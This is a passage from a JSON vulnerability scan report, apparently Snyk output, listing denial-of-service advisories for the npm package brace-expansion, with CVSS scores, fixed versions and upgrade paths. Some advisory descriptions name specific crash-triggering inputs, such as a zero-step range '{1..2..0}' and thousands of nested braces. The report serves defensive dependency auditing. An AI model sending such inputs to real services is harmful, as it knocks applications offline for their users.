">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
